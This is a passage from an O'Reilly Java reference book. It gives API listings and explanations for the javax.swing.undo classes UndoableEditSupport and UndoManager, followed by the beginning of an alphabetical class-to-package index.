 | public abstract boolean isSignificant ();
 | public abstract String getUndoPresentationName ();
// | Public Instance Methods
 | public abstract boolean addEdit (UndoableEdit anEdit);
 | public abstract boolean canRedo ();
 | public abstract boolean canUndo ();
 | public abstract void die ();
 | public abstract void redo () throws CannotRedoException;
 | public abstract boolean replaceEdit (UndoableEdit anEdit);
 | public abstract void undo () throws CannotUndoException;
}

Implementations: AbstractUndoableEdit

Passed To: javax.swing.event.UndoableEditEvent.UndoableEditEvent(), javax.swing.text.AbstractDocument.DefaultDocumentEvent.addEdit(), AbstractUndoableEdit.{addEdit(), replaceEdit()}, CompoundEdit.addEdit(), UndoableEdit.{addEdit(), replaceEdit()}, UndoableEditSupport.{_postEdit(), postEdit()}, UndoManager.{addEdit(), redoTo(), undoTo()}

Returned By: javax.swing.event.UndoableEditEvent.getEdit(), javax.swing.text.AbstractDocument.Content.{insertString(), remove()}, javax.swing.text.GapContent.{insertString(), remove()}, javax.swing.text.StringContent.{insertString(), remove()}, CompoundEdit.lastEdit(), UndoManager.{editToBeRedone(), editToBeUndone()}

UndoableEditSupport Java 1.2
javax.swing.undo

This utility class is useful for classes that support undoable edits and send javax.swing.event.UndoableEditEvent events to javax.swing.event.UndoableEditListener objects. An object that generates undoable events must allow the registration and deregistration of event listeners for those events. Such an object can simply create an UndoableEditSupport object and delegate to its addUndoableEditListener() and removeUndoableEditListener() methods.

UndoableEditSupport normally sends an UndoableEditEvent to all registered listeners when the postEdit() method is invoked. It also allows batching of edits into a CompoundEdit, however. If beginUpdate() is called, all UndoableEdit objects passed to postEdit() are batched into a CompoundEdit until endUpdate() is called. In this case, the UndoableEditEvent that contains the CompoundEdit is not sent to the registered UndoableEditListener objects until endUpdate() is invoked. If beginUpdate() is called more than once, endUpdate() must be called a matching number of times.

public class UndoableEditSupport {
// | Public Constructors
 | public UndoableEditSupport (); |
 | public UndoableEditSupport (Object r); |
// | Event Registration Methods (by event name)
 | public void addUndoableEditListener (javax.swing.event.UndoableEditListener l); | synchronized
 | public void removeUndoableEditListener (javax.swing.event.UndoableEditListener l); | synchronized
// | Public Instance Methods
 | public void beginUpdate (); | synchronized
 | public void endUpdate (); | synchronized
 | public int getUpdateLevel (); | default:0
 | public void postEdit (UndoableEdit e); | synchronized
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Methods
 | protected void _postEdit (UndoableEdit e); |
 | protected CompoundEdit createCompoundEdit (); |
// | Protected Instance Fields
 | protected CompoundEdit compoundEdit ; |
 | protected java.util.Vector listeners ; |
 | protected Object realSource ; |
 | protected int updateLevel ; |
}
UndoManager | Java 1.2
javax.swing.undo | serializable

This class maintains a list of UndoableEdit objects and allows them to be undone and redone one significant edit at a time. Edits can be added explicitly by calling addEdit(). UndoManager implements the javax.swing.event.UndoableEditListener interface and automatically calls addEdit() to add an edit to its list when it receives a javax.swing.event.UndoableEditEvent. The addEdit() method works like the addEdit() method of CompoundEdit: it first attempts to merge the new edit with the last edit on the list by calling the addEdit() and replaceEdit() methods of those edits. The edit is added as a separate edit only if it could not be merged.

After an edit is made and added to the UndoManager, the undo() method undoes it. After it is undone, the redo() method redoes it. However, if a new edit is made after the first is undone, that first undone edit is removed from the list and is no longer redoable. This is the normal and expected behavior for an undo system. UndoManager distinguishes between significant and insignificant edits. When you call undo(), it undoes all edits up to the last significant edit that occurred. When you call redo(), it redoes the next significant edit and all insignificant edits that follow it. A significant UndoableEdit is one whose isSignificant() method returns true. getUndoPresentationName() returns the undo presentation name of the significant UndoableEdit that is undone by undo(). getRedoPresentationName() returns the redo presentation name of the significant UndoableEdit that is performed by the redo() action. setLimit() and getLimit() set and query the maximum number of UndoableEdit objects that the UndoManager tracks. The default is 100.

UndoManager is a subclass of CompoundEdit. If you call the end() method on an UndoManager, its behavior becomes that of a CompoundEdit and the list of edits is undone and redone all at once. This can occasionally be useful when doing nested edits.

public class UndoManager extends CompoundEdit implements javax.swing.event.UndoableEditListener {
// | Public Constructors
 | public UndoManager (); |
// | Property Accessor Methods (by property name)
 | public int getLimit (); | synchronized default:100
 | public void setLimit (int l); | synchronized
 | public String getRedoPresentationName (); | Overrides:CompoundEdit synchronized default:"Redo"
 | public String getUndoOrRedoPresentationName (); | synchronized default:"Undo"
 | public String getUndoPresentationName (); | Overrides:CompoundEdit synchronized default:"Undo"
// | Public Instance Methods
 | public boolean canUndoOrRedo (); | synchronized
 | public void discardAllEdits (); | synchronized
 | public void undoOrRedo () throws CannotRedoException, CannotUndoException; | synchronized
// | Methods Implementing UndoableEditListener
 | public void undoableEditHappened (javax.swing.event.UndoableEditEvent e); |
// | Public Methods Overriding CompoundEdit
 | public boolean addEdit (UndoableEdit anEdit); | synchronized
 | public boolean canRedo (); | synchronized
 | public boolean canUndo (); | synchronized
 | public void end (); | synchronized
 | public void redo () throws CannotRedoException; | synchronized
 | public String toString (); |
 | public void undo () throws CannotUndoException; | synchronized
// | Protected Instance Methods
 | protected UndoableEdit editToBeRedone (); |
 | protected UndoableEdit editToBeUndone (); |
 | protected void redoTo (UndoableEdit edit) throws CannotRedoException; |
 | protected void trimEdits (int from, int to); |
 | protected void trimForLimit (); |
 | protected void undoTo (UndoableEdit edit) throws CannotUndoException; |
}

Hierarchy: Object-->AbstractUndoableEdit(Serializable,UndoableEdit)-->CompoundEdit-->UndoManager(javax.swing.event.UndoableEditListener(java.util.EventListener))

Previous | Home | Next
34.1. The javax.swing.tree Package | Book Index | 36. Class Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Class Index (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 36. Class Index

The following index allows you to look up a class of interface and find what package it is defined in. Use it when you want to look up a class but don't know its package.

AbstractAction: javax.swing

AbstractBorder: javax.swing.border

AbstractButton: javax.swing

AbstractButton.AccessibleAbstractButton: javax.swing

AbstractButton.ButtonChangeListener: javax.swing

AbstractColorChooserPanel: javax.swing.colorchooser

AbstractDocument: javax.swing.text

AbstractDocument.AbstractElement: javax.swing.text

AbstractDocument.AttributeContext: javax.swing.text

AbstractDocument.BranchElement: javax.swing.text

AbstractDocument.Content: javax.swing.text

AbstractDocument.DefaultDocumentEvent: javax.swing.text

AbstractDocument.ElementEdit: javax.swing.text

AbstractDocument.LeafElement: javax.swing.text

AbstractElement: javax.swing.text.AbstractDocument

AbstractLayoutCache: javax.swing.tree

AbstractLayoutCache.NodeDimensions: javax.swing.tree

AbstractListModel: javax.swing

AbstractTableModel: javax.swing.table

AbstractUndoableEdit: javax.swing.undo

AbstractWriter: javax.swing.text

Accessible: javax.accessibility

AccessibleAbstractButton: javax.swing.AbstractButton

AccessibleAction: javax.accessibility

AccessibleBox: javax.swing.Box

AccessibleBoxFiller: javax.swing.Box.Filler

AccessibleBundle: javax.accessibility

AccessibleCellRendererPane: javax.swing.CellRendererPane

AccessibleComponent: javax.accessibility

AccessibleContainerHandler: javax.swing.JComponent.AccessibleJComponent

AccessibleContext: javax.accessibility

AccessibleHyperlink: javax.accessibility

AccessibleHypertext: javax.accessibility

AccessibleJApplet: javax.swing.JApplet

AccessibleJButton: javax.swing.JButton

AccessibleJCheckBox: javax.swing.JCheckBox

AccessibleJCheckBoxMenuItem: javax.swing.JCheckBoxMenuItem

AccessibleJColorChooser: javax.swing.JColorChooser

AccessibleJComboBox: javax.swing.JComboBox

AccessibleJComponent: javax.swing.JComponent

AccessibleJDesktopIcon: javax.swing.JInternalFrame.JDesktopIcon

AccessibleJDesktopPane: javax.swing.JDesktopPane

AccessibleJDialog: javax.swing.JDialog

AccessibleJEditorPane: javax.swing.JEditorPane

AccessibleJEditorPaneHTML: javax.swing.JEditorPane

AccessibleJFileChooser: javax.swing.JFileChooser

AccessibleJFrame: javax.swing.JFrame

AccessibleJInternalFrame: javax.swing.JInternalFrame

AccessibleJLabel: javax.swing.JLabel

AccessibleJLayeredPane: javax.swing.JLayeredPane

AccessibleJList: javax.swing.JList

AccessibleJListChild: javax.swing.JList.AccessibleJList

AccessibleJMenu: javax.swing.JMenu

AccessibleJMenuBar: javax.swing.JMenuBar

AccessibleJMenuItem: javax.swing.JMenuItem

AccessibleJOptionPane: javax.swing.JOptionPane

AccessibleJPanel: javax.swing.JPanel

AccessibleJPasswordField: javax.swing.JPasswordField

AccessibleJPopupMenu: javax.swing.JPopupMenu

AccessibleJProgressBar: javax.swing.JProgressBar

AccessibleJRadioButton: javax.swing.JRadioButton

AccessibleJRadioButtonMenuItem: javax.swing.JRadioButtonMenuItem

AccessibleJRootPane: javax.swing.JRootPane

AccessibleJScrollBar: javax.swing.JScrollBar

AccessibleJScrollPane: javax.swing.JScrollPane

AccessibleJSeparator: javax.swing.JSeparator

AccessibleJSlider: javax.swing.JSlider

AccessibleJSplitPane: javax.swing.JSplitPane

AccessibleJTabbedPane: javax.swing.JTabbedPane

AccessibleJTable: javax.swing.JTable

AccessibleJTableCell: javax.swing.JTable.AccessibleJTable

AccessibleJTableHeader: javax.swing.table.JTableHeader

AccessibleJTableHeaderEntry: javax.swing.table.JTableHeader.AccessibleJTableHeader

AccessibleJTextArea: javax.swing.JTextArea

AccessibleJTextComponent: javax.swing.text.JTextComponent

AccessibleJTextField: javax.swing.JTextField

AccessibleJToggleButton: javax.swing.JToggleButton

AccessibleJToolBar: javax.swing.JToolBar

AccessibleJToolTip: javax.swing.JToolTip

AccessibleJTree: javax.swing.JTree

AccessibleJTreeNode: javax.swing.JTree.AccessibleJTree

AccessibleJViewport: javax.swing.JViewport

AccessibleJWindow: javax.swing.JWindow

AccessibleResourceBundle: javax.accessibility

AccessibleRole: javax.accessibility

AccessibleSelection: javax.accessibility

AccessibleState: javax.accessibility

AccessibleStateSet: javax.accessibility

AccessibleText: javax.accessibility

AccessibleValue: javax.accessibility

AccessibleWindowPopup: javax.swing.JPopupMenu.WindowPopup

Action: javax.swing

ActionEvent: java.awt.event

ActionListener: java.awt.event

ActiveEvent: java.awt

ActiveValue: javax.swing.UIDefaults

Adjustable: java.awt

AdjustmentEvent: java.awt.event

AdjustmentListener: java.awt.event

AffineTransform: java.awt.geom

AffineTransformOp: java.awt.image

AlignmentAction: javax.swing.text.StyledEditorKit

AlphaComposite: java.awt

AncestorEvent: javax.swing.event

AncestorListener: javax.swing.event

Applet: java.applet

AppletContext: java.applet

AppletStub: java.applet

Arc2D: java.awt.geom

Arc2D.Double: java.awt.geom

Arc2D.Float: java.awt.geom

Area: java.awt.geom

AreaAveragingScaleFilter: java.awt.image

Attribute: javax.swing.text.html.CSS, javax.swing.text.html.HTML

AttributeContext: javax.swing.text.AbstractDocument

AttributeList: javax.swing.text.html.parser

AttributeSet: javax.swing.text

AttributeSet.CharacterAttribute: javax.swing.text

AttributeSet.ColorAttribute: javax.swing.text

AttributeSet.FontAttribute: javax.swing.text

AttributeSet.ParagraphAttribute: javax.swing.text

AttributeUndoableEdit: javax.swing.text.DefaultStyledDocument

AudioClip: java.applet

Autoscroll: java.awt.dnd

AWTError: java.awt

AWTEvent: java.awt

AWTEventListener: java.awt.event

AWTEventMulticaster: java.awt

AWTException: java.awt

AWTPermission: java.awt

BadLocationException: javax.swing.text

BandCombineOp: java.awt.image

BandedSampleModel: java.awt.image

BasicStroke: java.awt

BeepAction: javax.swing.text.DefaultEditorKit

BevelBorder: javax.swing.border

BevelBorderUIResource: javax.swing.plaf.BorderUIResource

Bias: javax.swing.text.Position

BlockAction: javax.swing.text.html.HTMLDocument.HTMLReader

BlockElement: javax.swing.text.html.HTMLDocument

BlockView: javax.swing.text.html

BoldAction: javax.swing.text.StyledEditorKit

Book: java.awt.print

Border: javax.swing.border

BorderFactory: javax.swing

BorderLayout: java.awt

BorderUIResource: javax.swing.plaf

BorderUIResource.BevelBorderUIResource: javax.swing.plaf

BorderUIResource.CompoundBorderUIResource: javax.swing.plaf

BorderUIResource.EmptyBorderUIResource: javax.swing.plaf

BorderUIResource.EtchedBorderUIResource: javax.swing.plaf

BorderUIResource.LineBorderUIResource: javax.swing.plaf

BorderUIResource.MatteBorderUIResource: javax.swing.plaf

BorderUIResource.TitledBorderUIResource: javax.swing.plaf

BoundedRangeModel: javax.swing

Box: javax.swing

Box.AccessibleBox: javax.swing

Box.Filler: javax.swing

Box.Filler.AccessibleBoxFiller: javax.swing

BoxLayout: javax.swing

BoxPainter: javax.swing.text.html.StyleSheet

BoxView: javax.swing.text

BranchElement: javax.swing.text.AbstractDocument

BufferedImage: java.awt.image

BufferedImageFilter: java.awt.image

BufferedImageOp: java.awt.image

Button: java.awt

ButtonChangeListener: javax.swing.AbstractButton

ButtonGroup: javax.swing

ButtonModel: javax.swing

ButtonPeer: java.awt.peer

ButtonUI: javax.swing.plaf

ByteLookupTable: java.awt.image

CannotRedoException: javax.swing.undo

CannotUndoException: javax.swing.undo

Canvas: java.awt

CanvasPeer: java.awt.peer

CardLayout: java.awt

Caret: javax.swing.text

CaretEvent: javax.swing.event

CaretListener: javax.swing.event

CaretPolicy: java.awt.font.TextLayout

CellEditor: javax.swing

CellEditorListener: javax.swing.event

CellRendererPane: javax.swing

CellRendererPane.AccessibleCellRendererPane: javax.swing

ChangedCharSetException: javax.swing.text

ChangeEvent: javax.swing.event

ChangeListener: javax.swing.event

CharacterAction: javax.swing.text.html.HTMLDocument.HTMLReader

CharacterAttribute: javax.swing.text.AttributeSet

CharacterConstants: javax.swing.text.StyleConstants

Checkbox: java.awt

CheckboxGroup: java.awt

CheckboxMenuItem: java.awt

CheckboxMenuItemPeer: java.awt.peer

CheckboxPeer: java.awt.peer

Choice: java.awt

ChoicePeer: java.awt.peer

Clipboard: java.awt.datatransfer

ClipboardOwner: java.awt.datatransfer

CMMException: java.awt.color

Color: java.awt

ColorAttribute: javax.swing.text.AttributeSet

ColorChooserComponentFactory: javax.swing.colorchooser

ColorChooserUI: javax.swing.plaf

ColorConstants: javax.swing.text.StyleConstants

ColorConvertOp: java.awt.image

ColorModel: java.awt.image

ColorSelectionModel: javax.swing.colorchooser

ColorSpace: java.awt.color

ColorUIResource: javax.swing.plaf

ComboBoxEditor: javax.swing

ComboBoxModel: javax.swing

ComboBoxUI: javax.swing.plaf

Component: java.awt

ComponentAdapter: java.awt.event

ComponentColorModel: java.awt.image

ComponentEvent: java.awt.event

ComponentListener: java.awt.event

ComponentOrientation: java.awt

ComponentPeer: java.awt.peer

ComponentSampleModel: java.awt.image

ComponentUI: javax.swing.plaf

ComponentView: javax.swing.text

Composite: java.awt

CompositeContext: java.awt

CompositeView: javax.swing.text

CompoundBorder: javax.swing.border

CompoundBorderUIResource: javax.swing.plaf.BorderUIResource

CompoundEdit: javax.swing.undo

Container: java.awt

ContainerAdapter: java.awt.event

ContainerEvent: java.awt.event

ContainerListener: java.awt.event

ContainerPeer: java.awt.peer

Content: javax.swing.text.AbstractDocument

ContentModel: javax.swing.text.html.parser

ContextualRenderedImageFactory: java.awt.image.renderable

ConvolveOp: java.awt.image

CopyAction: javax.swing.text.DefaultEditorKit

CropImageFilter: java.awt.image

CSS: javax.swing.text.html

CSS.Attribute: javax.swing.text.html

CubicCurve2D: java.awt.geom

CubicCurve2D.Double: java.awt.geom

CubicCurve2D.Float: java.awt.geom

Cursor: java.awt

CutAction: javax.swing.text.DefaultEditorKit

DataBuffer: java.awt.image

DataBufferByte: java.awt.image

DataBufferInt: java.awt.image

DataBufferShort: java.awt.image

DataBufferUShort: java.awt.image

DataFlavor: java.awt.datatransfer

DebugGraphics: javax.swing

DefaultBoundedRangeModel: javax.swing

DefaultButtonModel: javax.swing

DefaultCaret: javax.swing.text

DefaultCellEditor: javax.swing

DefaultCellEditor.EditorDelegate: javax.swing

DefaultColorSelectionModel: javax.swing.colorchooser

DefaultComboBoxModel: javax.swing

DefaultDesktopManager: javax.swing

DefaultDocumentEvent: javax.swing.text.AbstractDocument

DefaultEditorKit: javax.swing.text

DefaultEditorKit.BeepAction: javax.swing.text

DefaultEditorKit.CopyAction: javax.swing.text

DefaultEditorKit.CutAction: javax.swing.text

DefaultEditorKit.DefaultKeyTypedAction: javax.swing.text

DefaultEditorKit.InsertBreakAction: javax.swing.text

DefaultEditorKit.InsertContentAction: javax.swing.text

DefaultEditorKit.InsertTabAction: javax.swing.text

DefaultEditorKit.PasteAction: javax.swing.text

DefaultFocusManager: javax.swing

DefaultHighlighter: javax.swing.text

DefaultHighlighter.DefaultHighlightPainter: javax.swing.text

DefaultHighlightPainter: javax.swing.text.DefaultHighlighter

DefaultKeyTypedAction: javax.swing.text.DefaultEditorKit

DefaultListCellRenderer: javax.swing

DefaultListCellRenderer.UIResource: javax.swing

DefaultListModel: javax.swing

DefaultListSelectionModel: javax.swing

DefaultMutableTreeNode: javax.swing.tree

DefaultSingleSelectionModel: javax.swing

DefaultStyledDocument: javax.swing.text

DefaultStyledDocument.AttributeUndoableEdit: javax.swing.text

DefaultStyledDocument.ElementBuffer: javax.swing.text

DefaultStyledDocument.ElementSpec: javax.swing.text

DefaultStyledDocument.SectionElement: javax.swing.text

DefaultTableCellRenderer: javax.swing.table

DefaultTableCellRenderer.UIResource: javax.swing.table

DefaultTableColumnModel: javax.swing.table

DefaultTableModel: javax.swing.table

DefaultTextField: javax.swing.tree.DefaultTreeCellEditor

DefaultTextUI: javax.swing.text

DefaultTreeCellEditor: javax.swing.tree

DefaultTreeCellEditor.DefaultTextField: javax.swing.tree

DefaultTreeCellEditor.EditorContainer: javax.swing.tree

DefaultTreeCellRenderer: javax.swing.tree

DefaultTreeModel: javax.swing.tree

DefaultTreeSelectionModel: javax.swing.tree

DesktopIconUI: javax.swing.plaf

DesktopManager: javax.swing

DesktopPaneUI: javax.swing.plaf

Dialog: java.awt

DialogPeer: java.awt.peer

Dimension: java.awt

Dimension2D: java.awt.geom

DimensionUIResource: javax.swing.plaf

DirectColorModel: java.awt.image

DnDConstants: java.awt.dnd

Document: javax.swing.text

DocumentEvent: javax.swing.event

DocumentEvent.ElementChange: javax.swing.event

DocumentEvent.EventType: javax.swing.event

DocumentListener: javax.swing.event

DocumentParser: javax.swing.text.html.parser

Double: java.awt.geom.Arc2D, java.awt.geom.CubicCurve2D, java.awt.geom.Ellipse2D, java.awt.geom.Line2D, java.awt.geom.Point2D, java.awt.geom.QuadCurve2D, java.awt.geom.Rectangle2D, java.awt.geom.RoundRectangle2D

DragGestureEvent: java.awt.dnd

DragGestureListener: java.awt.dnd

DragGestureRecognizer: java.awt.dnd

DragSource: java.awt.dnd

DragSourceContext: java.awt.dnd

DragSourceContextPeer: java.awt.dnd.peer

DragSourceDragEvent: java.awt.dnd

DragSourceDropEvent: java.awt.dnd

DragSourceEvent: java.awt.dnd

DragSourceListener: java.awt.dnd

DropTarget: java.awt.dnd

DropTarget.DropTargetAutoScroller: java.awt.dnd

DropTargetAutoScroller: java.awt.dnd.DropTarget

DropTargetContext: java.awt.dnd

DropTargetContext.TransferableProxy: java.awt.dnd

DropTargetContextPeer: java.awt.dnd.peer

DropTargetDragEvent: java.awt.dnd

DropTargetDropEvent: java.awt.dnd

DropTargetEvent: java.awt.dnd

DropTargetListener: java.awt.dnd

DropTargetPeer: java.awt.dnd.peer

DTD: javax.swing.text.html.parser

DTDConstants: javax.swing.text.html.parser

DynamicUtilTreeNode: javax.swing.JTree

EditorContainer: javax.swing.tree.DefaultTreeCellEditor

EditorDelegate: javax.swing.DefaultCellEditor

EditorKit: javax.swing.text

Element: javax.swing.text, javax.swing.text.html.parser

ElementBuffer: javax.swing.text.DefaultStyledDocument

ElementChange: javax.swing.event.DocumentEvent

ElementEdit: javax.swing.text.AbstractDocument

ElementIterator: javax.swing.text

ElementSpec: javax.swing.text.DefaultStyledDocument

Ellipse2D: java.awt.geom

Ellipse2D.Double: java.awt.geom

Ellipse2D.Float: java.awt.geom

EmptyBorder: javax.swing.border

EmptyBorderUIResource: javax.swing.plaf.BorderUIResource

EmptySelectionModel: javax.swing.JTree

Entity: javax.swing.text.html.parser

EtchedBorder: javax.swing.border

EtchedBorderUIResource: javax.swing.plaf.BorderUIResource

Event: java.awt

EventListenerList: javax.swing.event

EventQueue: java.awt

EventType: javax.swing.event.DocumentEvent, javax.swing.event.HyperlinkEvent

ExpandVetoException: javax.swing.tree

FieldView: javax.swing.text

FileChooserUI: javax.swing.plaf

FileDialog: java.awt

FileDialogPeer: java.awt.peer

FileFilter: javax.swing.filechooser

FileSystemView: javax.swing.filechooser

FileView: javax.swing.filechooser

Filler: javax.swing.Box

FilteredImageSource: java.awt.image

FixedHeightLayoutCache: javax.swing.tree

FlatteningPathIterator: java.awt.geom

FlavorMap: java.awt.datatransfer

Float: java.awt.geom.Arc2D, java.awt.geom.CubicCurve2D, java.awt.geom.Ellipse2D, java.awt.geom.Line2D, java.awt.geom.Point2D, java.awt.geom.QuadCurve2D, java.awt.geom.Rectangle2D, java.awt.geom.RoundRectangle2D

FlowLayout: java.awt

FocusAdapter: java.awt.event

FocusEvent: java.awt.event

FocusListener: java.awt.event

FocusManager: javax.swing

Font: java.awt

FontAttribute: javax.swing.text.AttributeSet

FontConstants: javax.swing.text.StyleConstants

FontFamilyAction: javax.swing.text.StyledEditorKit

FontMetrics: java.awt

FontPeer: java.awt.peer

FontRenderContext: java.awt.font

FontSizeAction: javax.swing.text.StyledEditorKit

FontUIResource: javax.swing.plaf

ForegroundAction: javax.swing.text.StyledEditorKit

FormAction: javax.swing.text.html.HTMLDocument.HTMLReader

FormView: javax.swing.text.html

FormView.MouseEventListener: javax.swing.text.html

Frame: java.awt

FramePeer: java.awt.peer

GapContent: javax.swing.text

GeneralPath: java.awt.geom

GlyphJustificationInfo: java.awt.font

GlyphMetrics: java.awt.font

GlyphVector: java.awt.font

GradientPaint: java.awt

GraphicAttribute: java.awt.font

Graphics: java.awt

Graphics2D: java.awt

GraphicsConfigTemplate: java.awt

GraphicsConfiguration: java.awt

GraphicsDevice: java.awt

GraphicsEnvironment: java.awt

GrayFilter: javax.swing

GridBagConstraints: java.awt

GridBagLayout: java.awt

GridLayout: java.awt

HiddenAction: javax.swing.text.html.HTMLDocument.HTMLReader

Highlight: javax.swing.text.Highlighter

Highlighter: javax.swing.text

Highlighter.Highlight: javax.swing.text

Highlighter.HighlightPainter: javax.swing.text

HighlightPainter: javax.swing.text.Highlighter

HTML: javax.swing.text.html

HTML.Attribute: javax.swing.text.html

HTML.Tag: javax.swing.text.html

HTML.UnknownTag: javax.swing.text.html

HTMLDocument: javax.swing.text.html

HTMLDocument.BlockElement: javax.swing.text.html

HTMLDocument.HTMLReader: javax.swing.text.html

HTMLDocument.HTMLReader.BlockAction: javax.swing.text.html

HTMLDocument.HTMLReader.CharacterAction: javax.swing.text.html

HTMLDocument.HTMLReader.FormAction: javax.swing.text.html

HTMLDocument.HTMLReader.HiddenAction: javax.swing.text.html

HTMLDocument.HTMLReader.IsindexAction: javax.swing.text.html

HTMLDocument.HTMLReader.ParagraphAction: javax.swing.text.html

HTMLDocument.HTMLReader.PreAction: javax.swing.text.html

HTMLDocument.HTMLReader.SpecialAction: javax.swing.text.html

HTMLDocument.HTMLReader.TagAction: javax.swing.text.html

HTMLDocument.Iterator: javax.swing.text.html

HTMLDocument.RunElement: javax.swing.text.html

HTMLEditorKit: javax.swing.text.html

HTMLEditorKit.HTMLFactory: javax.swing.text.html

HTMLEditorKit.HTMLTextAction: javax.swing.text.html

HTMLEditorKit.InsertHTMLTextAction: javax.swing.text.html

HTMLEditorKit.LinkController: javax.swing.text.html

HTMLEditorKit.Parser: javax.swing.text.html

HTMLEditorKit.ParserCallback: javax.swing.text.html

HTMLFactory: javax.swing.text.html.HTMLEditorKit

HTMLFrameHyperlinkEvent: javax.swing.text.html

HTMLLink: javax.swing.JEditorPane.JEditorPaneAccessibleHypertextSupport

HTMLReader: javax.swing.text.html.HTMLDocument

HTMLTextAction: javax.swing.text.html.HTMLEditorKit

HTMLWriter: javax.swing.text.html

HyperlinkEvent: javax.swing.event

HyperlinkEvent.EventType: javax.swing.event

HyperlinkListener: javax.swing.event

ICC_ColorSpace: java.awt.color

ICC_Profile: java.awt.color

ICC_ProfileGray: java.awt.color

ICC_ProfileRGB: java.awt.color

Icon: javax.swing

IconUIResource: javax.swing.plaf

IconView: javax.swing.text

IllegalComponentStateException: java.awt

IllegalPathStateException: java.awt.geom

Image: java.awt

ImageConsumer: java.awt.image

ImageFilter: java.awt.image

ImageGraphicAttribute: java.awt.font

ImageIcon: javax.swing

ImageObserver: java.awt.image

ImageProducer: java.awt.image

ImagingOpException: java.awt.image

IndexColorModel: java.awt.image

InlineView: javax.swing.text.html

InputContext: java.awt.im

InputEvent: java.awt.event

InputMethodEvent: java.awt.event

InputMethodHighlight: java.awt.im

InputMethodListener: java.awt.event

InputMethodRequests: java.awt.im

InputSubset: java.awt.im

InsertBreakAction: javax.swing.text.DefaultEditorKit

InsertContentAction: javax.swing.text.DefaultEditorKit

InsertHTMLTextAction: javax.swing.text.html.HTMLEditorKit

InsertTabAction: javax.swing.text.DefaultEditorKit

Insets: java.awt

InsetsUIResource: javax.swing.plaf

insideTimerAction: javax.swing.ToolTipManager

InternalFrameAdapter: javax.swing.event

InternalFrameEvent: javax.swing.event

InternalFrameListener: javax.swing.event

InternalFrameUI: javax.swing.plaf

InvalidDnDOperationException: java.awt.dnd

InvocationEvent: java.awt.event

IsindexAction: javax.swing.text.html.HTMLDocument.HTMLReader

ItalicAction: javax.swing.text.StyledEditorKit

ItemEvent: java.awt.event

ItemListener: java.awt.event

ItemSelectable: java.awt

Iterator: javax.swing.text.html.HTMLDocument

JApplet: javax.swing

JApplet.AccessibleJApplet: javax.swing

JButton: javax.swing

JButton.AccessibleJButton: javax.swing

JCheckBox: javax.swing

JCheckBox.AccessibleJCheckBox: javax.swing

JCheckBoxMenuItem: javax.swing

JCheckBoxMenuItem.AccessibleJCheckBoxMenuItem: javax.swing

JColorChooser: javax.swing

JColorChooser.AccessibleJColorChooser: javax.swing

JComboBox: javax.swing

JComboBox.AccessibleJComboBox: javax.swing

JComboBox.KeySelectionManager: javax.swing

JComponent: javax.swing

JComponent.AccessibleJComponent: javax.swing

JComponent.AccessibleJComponent.AccessibleContainerHandler: javax.swing

JDesktopIcon: javax.swing.JInternalFrame

JDesktopPane: javax.swing

JDesktopPane.AccessibleJDesktopPane: javax.swing

JDialog: javax.swing

JDialog.AccessibleJDialog: javax.swing

JEditorPane: javax.swing

JEditorPane.AccessibleJEditorPane: javax.swing

JEditorPane.AccessibleJEditorPaneHTML: javax.swing

JEditorPane.JEditorPaneAccessibleHypertextSupport: javax.swing

JEditorPane.JEditorPaneAccessibleHypertextSupport.HTMLLink: javax.swing

JEditorPaneAccessibleHypertextSupport: javax.swing.JEditorPane

JFileChooser: javax.swing

JFileChooser.AccessibleJFileChooser: javax.swing

JFrame: javax.swing

JFrame.AccessibleJFrame: javax.swing

JInternalFrame: javax.swing

JInternalFrame.AccessibleJInternalFrame: javax.swing

JInternalFrame.JDesktopIcon: javax.swing

JInternalFrame.JDesktopIcon.AccessibleJDesktopIcon: javax.swing

JLabel: javax.swing

JLabel.AccessibleJLabel: javax.swing

JLayeredPane: javax.swing

JLayeredPane.AccessibleJLayeredPane: javax.swing

JList: javax.swing

JList.AccessibleJList: javax.swing

JList.AccessibleJList.AccessibleJListChild: javax.swing

JMenu: javax.swing

JMenu.AccessibleJMenu: javax.swing

JMenu.WinListener: javax.swing

JMenuBar: javax.swing

JMenuBar.AccessibleJMenuBar: javax.swing

JMenuItem: javax.swing

JMenuItem.AccessibleJMenuItem: javax.swing

JOptionPane: javax.swing

JOptionPane.AccessibleJOptionPane: javax.swing

JPanel: javax.swing

JPanel.AccessibleJPanel: javax.swing

JPasswordField: javax.swing

JPasswordField.AccessibleJPasswordField: javax.swing

JPopupMenu: javax.swing

JPopupMenu.AccessibleJPopupMenu: javax.swing

JPopupMenu.Separator: javax.swing

JPopupMenu.WindowPopup.AccessibleWindowPopup: javax.swing

JProgressBar: javax.swing

JProgressBar.AccessibleJProgressBar: javax.swing

JRadioButton: javax.swing

JRadioButton.AccessibleJRadioButton: javax.swing

JRadioButtonMenuItem: javax.swing

JRadioButtonMenuItem.AccessibleJRadioButtonMenuItem: javax.swing

JRootPane: javax.swing

JRootPane.AccessibleJRootPane: javax.swing

JRootPane.RootLayout: javax.swing

JScrollBar: javax.swing

JScrollBar.AccessibleJScrollBar: javax.swing

JScrollPane: javax.swing

JScrollPane.AccessibleJScrollPane: javax.swing

JScrollPane.ScrollBar: javax.swing

JSeparator: javax.swing

JSeparator.AccessibleJSeparator: javax.swing

JSlider: javax.swing

JSlider.AccessibleJSlider: javax.swing

JSplitPane: javax.swing

JSplitPane.AccessibleJSplitPane: javax.swing

JTabbedPane: javax.swing

JTabbedPane.AccessibleJTabbedPane: javax.swing

JTabbedPane.ModelListener: javax.swing

JTable: javax.swing

JTable.AccessibleJTable: javax.swing

JTable.AccessibleJTable.AccessibleJTableCell: javax.swing

JTableHeader: javax.swing.table

JTableHeader.AccessibleJTableHeader: javax.swing.table

JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry: javax.swing.table

JTextArea: javax.swing

JTextArea.AccessibleJTextArea: javax.swing

JTextComponent: javax.swing.text

JTextComponent.AccessibleJTextComponent: javax.swing.text

JTextComponent.KeyBinding: javax.swing.text

JTextField: javax.swing

JTextField.AccessibleJTextField: javax.swing

JTextPane: javax.swing

JToggleButton: javax.swing

JToggleButton.AccessibleJToggleButton: javax.swing

JToggleButton.ToggleButtonModel: javax.swing

JToolBar: javax.swing

JToolBar.AccessibleJToolBar: javax.swing

JToolBar.Separator: javax.swing

JToolTip: javax.swing

JToolTip.AccessibleJToolTip: javax.swing

JTree: javax.swing

JTree.AccessibleJTree: javax.swing

JTree.AccessibleJTree.AccessibleJTreeNode: javax.swing

